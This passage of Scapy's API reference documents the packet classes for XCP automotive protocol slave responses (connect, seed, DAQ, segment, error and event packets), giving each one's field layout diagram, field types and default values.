+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ChecksumPositiveResponse                   


ChecksumPositiveResponse fields






	checksum_type

	ByteEnumField

	0



	reserved

	XCPEndiannessField

	0



	checksum

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.CommonModeInfoPositiveResponse(_pkt, /, *, reserved1=0, comm_mode_optional=<Flag 0 ()>, reserved2=0, max_bs=0, min_st=0, queue_size=0, xcp_driver_version_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L121-L132]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED1   |COMM MODE OPTIO|   RESERVED2   |     MAX BS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MIN ST    |   QUEUE SIZE  |XCP DRIVER VERS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. CommonModeInfoPositiveResponse                


CommonModeInfoPositiveResponse fields






	reserved1

	ByteField

	0



	comm_mode_optional

	FlagsField

	<Flag 0 ()>



	reserved2

	ByteField

	0



	max_bs

	ByteField

	0



	min_st

	ByteField

	0



	queue_size

	ByteField

	0



	xcp_driver_version_number

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.ConnectPositiveResponse(_pkt, /, *, resource=<Flag 0 ()>, comm_mode_basic=<Flag 0 ()>, max_cto=0, max_dto=0, max_dto_le=0, xcp_protocol_layer_version_number_msb=1, xcp_transport_layer_version_number_msb=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L57-L106]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESOURCE   |COMM MODE BASIC|    MAX CTO    |    MAX DTO    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           MAX DTO LE          |XCP PROTOCOL LA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|XCP TRANSPORT L|
+-+-+-+-+-+-+-+-+

                   Fig. ConnectPositiveResponse                   


ConnectPositiveResponse fields






	resource

	FlagsField

	<Flag 0 ()>



	comm_mode_basic

	FlagsField

	<Flag 0 ()>



	max_cto

	ByteField

	0



	max_dto

	ShortField (Cond)

	0



	max_dto_le

	LEShortField (Cond)

	0



	xcp_protocol_layer_version_number_msb

	ByteField

	1



	xcp_transport_layer_version_number_msb

	ByteField

	1











	
get_address_granularity()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L92-L106]

	




	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L74-L90]

	








	
class scapy.contrib.automotive.xcp.cto_commands_slave.DAQClockListPositiveResponse(_pkt, /, *, reserved=0, receive_timestamp=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L311-L317]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       RECEIVE TIMESTAMP                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. DAQClockListPositiveResponse                 


DAQClockListPositiveResponse fields






	reserved

	XCPEndiannessField

	0



	receive_timestamp

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.DAQEventInfoPositiveResponse(_pkt, /, *, daq_event_properties=<Flag 0 ()>, max_daq_list=0, event_channel_name_length=0, event_channel_time_cycle=0, event_channel_time_unit=0, event_channel_priority=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L402-L411]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DAQ EVENT PROPE|  MAX DAQ LIST |EVENT CHANNEL N|EVENT CHANNEL T|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EVENT CHANNEL T|EVENT CHANNEL P|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. DAQEventInfoPositiveResponse                 


DAQEventInfoPositiveResponse fields






	daq_event_properties

	FlagsField

	<Flag 0 ()>



	max_daq_list

	ByteField

	0



	event_channel_name_length

	ByteField

	0



	event_channel_time_cycle

	ByteField

	0



	event_channel_time_unit

	ByteField

	0



	event_channel_priority

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.DAQListInfoPositiveResponse(_pkt, /, *, daq_list_properties=<Flag 0 ()>, max_odt=0, max_odt_entries=0, fixed_event=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L391-L399]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DAQ LIST PROPER|    MAX ODT    |MAX ODT ENTRIES|  FIXED EVENT  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                 Fig. DAQListInfoPositiveResponse                 


DAQListInfoPositiveResponse fields






	daq_list_properties

	FlagsField

	<Flag 0 ()>



	max_odt

	ByteField

	0



	max_odt_entries

	ByteField

	0



	fixed_event

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.DAQListModePositiveResponse(_pkt, /, *, current_mode=<Flag 0 ()>, reserved=0, current_event_channel_number=0, current_prescaler=0, current_daq_list_priority=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L293-L302]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CURRENT MODE |            RESERVED           |CURRENT EVENT C|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |CURRENT PRESCAL|CURRENT DAQ LIS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. DAQListModePositiveResponse                 


DAQListModePositiveResponse fields






	current_mode

	FlagsField

	<Flag 0 ()>



	reserved

	XCPEndiannessField

	0



	current_event_channel_number

	XCPEndiannessField

	0



	current_prescaler

	ByteField

	0



	current_daq_list_priority

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.DAQProcessorInfoPositiveResponse(_pkt, /, *, daq_properties=<Flag 0 ()>, max_daq=0, max_event_channel=0, min_daq=0, daq_key_byte=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L329-L356]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DAQ PROPERTIES|            MAX DAQ            |MAX EVENT CHANN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    MIN DAQ    |  DAQ KEY BYTE |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. DAQProcessorInfoPositiveResponse               


DAQProcessorInfoPositiveResponse fields






	daq_properties

	FlagsField

	<Flag 0 ()>



	max_daq

	XCPEndiannessField

	0



	max_event_channel

	XCPEndiannessField

	0



	min_daq

	ByteField

	0



	daq_key_byte

	FlagsField

	<Flag 0 ()>











	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L355-L356]

	




	
write_identification_field_type_to_config()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L347-L353]

	








	
class scapy.contrib.automotive.xcp.cto_commands_slave.DAQResolutionInfoPositiveResponse(_pkt, /, *, granularity_odt_entry_size_daq=0, max_odt_entry_size_daq=0, granularity_odt_entry_size_stim=0, max_odt_entry_size_stim=0, timestamp_mode=<Flag 0 ()>, timestamp_ticks=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L359-L388]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|GRANULARITY ODT|MAX ODT ENTRY S|GRANULARITY ODT|MAX ODT ENTRY S|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| TIMESTAMP MODE|        TIMESTAMP TICKS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. DAQResolutionInfoPositiveResponse              


DAQResolutionInfoPositiveResponse fields






	granularity_odt_entry_size_daq

	ByteField

	0



	max_odt_entry_size_daq

	ByteField

	0



	granularity_odt_entry_size_stim

	ByteField

	0



	max_odt_entry_size_stim

	ByteField

	0



	timestamp_mode

	FlagsField

	<Flag 0 ()>



	timestamp_ticks

	XCPEndiannessField

	0











	
get_timestamp_size()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L371-L382]

	




	
post_dissection(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L387-L388]

	




	
write_timestamp_size_to_config()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L384-L385]

	








	
class scapy.contrib.automotive.xcp.cto_commands_slave.EvPacket(_pkt, /, *, event_code=0, event_information_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L447-L464]

	Bases: Packet

Event packet


	
aliastypes

	




	
event_code_enum = {0: 'EV_RESUME_MODE', 1: 'EV_CLEAR_DAQ', 2: 'EV_STORE_DAQ', 3: 'EV_STORE_CAL', 5: 'EV_CMD_PENDING', 6: 'EV_DAQ_OVERLOAD', 7: 'EV_SESSION_TERMINATED', 254: 'EV_USER', 255: 'EV_TRANSPORT'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   EVENT CODE  |     EVENT INFORMATION DATA    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EvPacket                           


EvPacket fields






	event_code

	ByteEnumField

	0



	event_information_data

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_slave.GenericResponse(_pkt, /, *, command_response_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L50-L54]

	Bases: Packet

Command Response packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     COMMAND RESPONSE DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GenericResponse                       


GenericResponse fields






	command_response_data

	StrField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_slave.IdPositiveResponse(_pkt, /, *, mode=0, reserved=0, length=None, element=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L135-L143]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |            RESERVED           |     LENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |    ELEMENT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. IdPositiveResponse                      


IdPositiveResponse fields






	mode

	ByteField

	0



	reserved

	XCPEndiannessField

	0



	length

	XCPEndiannessField

	None



	element

	StrVarLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_slave.NegativeResponse(_pkt, /, *, error_code=0, error_info=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L22-L47]

	Bases: Packet

Error Packet


	
aliastypes

	




	
error_code_enum = {0: 'ERR_CMD_SYNCH', 16: 'ERR_CMD_BUSY', 17: 'ERR_DAQ_ACTIVE', 18: 'ERR_PGM_ACTIVE', 32: 'ERR_CMD_UNKNOWN', 33: 'ERR_CMD_SYNTAX', 34: 'ERR_OUT_OF_RANGE', 35: 'ERR_WRITE_PROTECTED', 36: 'ERR_ACCESS_DENIED', 37: 'ERR_ACCESS_LOCKED', 38: 'ERR_PAGE_NOT_VALID', 39: 'ERR_MODE_NOT_VALID', 40: 'ERR_SEGMENT_NOT_VALID', 41: 'ERR_SEQUENCE', 42: 'ERR_DAQ_CONFIG', 48: 'ERR_MEMORY_OVERFLOW', 49: 'ERR_GENERIC', 50: 'ERR_VERIFY'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ERROR CODE  |           ERROR INFO          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. NegativeResponse                       


NegativeResponse fields






	error_code

	ByteEnumField

	0



	error_info

	StrField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_slave.PagProcessorInfoPositiveResponse(_pkt, /, *, max_segment=0, pag_properties=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L237-L243]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MAX SEGMENT  | PAG PROPERTIES|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PagProcessorInfoPositiveResponse               


PagProcessorInfoPositiveResponse fields






	max_segment

	ByteField

	0



	pag_properties

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.xcp.cto_commands_slave.PageInfoPositiveResponse(_pkt, /, *, page_properties=<Flag 0 ()>, init_segment=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L274-L282]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PAGE PROPERTIES|  INIT SEGMENT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. PageInfoPositiveResponse                   


PageInfoPositiveResponse fields






	page_properties

	FlagsField

	<Flag 0 ()>



	init_segment

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.PgmProcessorPositiveResponse(_pkt, /, *, pgm_properties=<Flag 0 ()>, max_sector=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L427-L435]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PGM PROPERTIES|   MAX SECTOR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. PgmProcessorPositiveResponse                 


PgmProcessorPositiveResponse fields






	pgm_properties

	FlagsField

	<Flag 0 ()>



	max_sector

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.ProgramStartPositiveResponse(_pkt, /, *, reserved=0, comm_mode_pgm=<Flag 0 ()>, max_cto_pgm=0, max_bs_pgm=0, min_bs_pgm=0, queue_size_pgm=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L414-L424]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   | COMM MODE PGM |  MAX CTO PGM  |   MAX BS PGM  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MIN BS PGM  | QUEUE SIZE PGM|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ProgramStartPositiveResponse                 


ProgramStartPositiveResponse fields






	reserved

	ByteField

	0



	comm_mode_pgm

	FlagsField

	<Flag 0 ()>



	max_cto_pgm

	ByteField

	0



	max_bs_pgm

	ByteField

	0



	min_bs_pgm

	ByteField

	0



	queue_size_pgm

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.ReadDAQPositiveResponse(_pkt, /, *, bit_offset=0, size_daq_element=0, address_extension_daq_element=0, daq_element_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L320-L326]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   BIT OFFSET  |SIZE DAQ ELEMEN|ADDRESS EXTENSI|DAQ ELEMENT ADD|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ReadDAQPositiveResponse                   


ReadDAQPositiveResponse fields






	bit_offset

	ByteField

	0



	size_daq_element

	ByteField

	0



	address_extension_daq_element

	ByteField

	0



	daq_element_address

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.SectorInfoPositiveResponse(_pkt, /, *, clear_sequence_number=0, program_sequence_number=0, programming_method=0, sector_info=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L438-L444]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CLEAR SEQUENCE |PROGRAM SEQUENC|PROGRAMMING MET|  SECTOR INFO  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SectorInfoPositiveResponse                  


SectorInfoPositiveResponse fields






	clear_sequence_number

	ByteField

	0



	program_sequence_number

	ByteField

	0



	programming_method

	ByteField

	0



	sector_info

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.SeedPositiveResponse(_pkt, /, *, seed_length=None, seed=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L146-L151]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SEED LENGTH  |              SEED             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SeedPositiveResponse                     


SeedPositiveResponse fields






	seed_length

	FieldLenField

	None



	seed

	StrVarLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_slave.SegmentInfoMode0PositiveResponse(_pkt, /, *, reserved=0, basic_info=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L246-L252]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BASIC INFO                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SegmentInfoMode0PositiveResponse               


SegmentInfoMode0PositiveResponse fields






	reserved

	XCPEndiannessField

	0



	basic_info

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.SegmentInfoMode1PositiveResponse(_pkt, /, *, max_pages=0, address_extension=0, max_extension=0, compression_method=0, encryption_method=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L255-L262]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   MAX PAGES   |ADDRESS EXTENSI| MAX EXTENSION |COMPRESSION MET|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ENCRYPTION METH|
+-+-+-+-+-+-+-+-+

              Fig. SegmentInfoMode1PositiveResponse               


SegmentInfoMode1PositiveResponse fields






	max_pages

	ByteField

	0



	address_extension

	ByteField

	0



	max_extension

	ByteField

	0



	compression_method

	ByteField

	0



	encryption_method

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.SegmentInfoMode2PositiveResponse(_pkt, /, *, reserved=0, mapping_info=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L265-L271]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAPPING INFO                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SegmentInfoMode2PositiveResponse               


SegmentInfoMode2PositiveResponse fields






	reserved

	XCPEndiannessField

	0



	mapping_info

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.SegmentModePositiveResponse(_pkt, /, *, reserved=0, mode=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L285-L290]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |      MODE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. SegmentModePositiveResponse                 


SegmentModePositiveResponse fields






	reserved

	ByteField

	0



	mode

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.automotive.xcp.cto_commands_slave.ServPacket(_pkt, /, *, service_request_code=0, command_response_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L467-L478]

	Bases: Packet

Service Request packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SERVICE REQUEST|     COMMAND RESPONSE DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ServPacket                          


ServPacket fields






	service_request_code

	ByteEnumField

	0



	command_response_data

	StrLenField

	b''











	
service_request_code_enum = {0: 'SERV_RESET', 1: 'SERV_TEXT'}

	








	
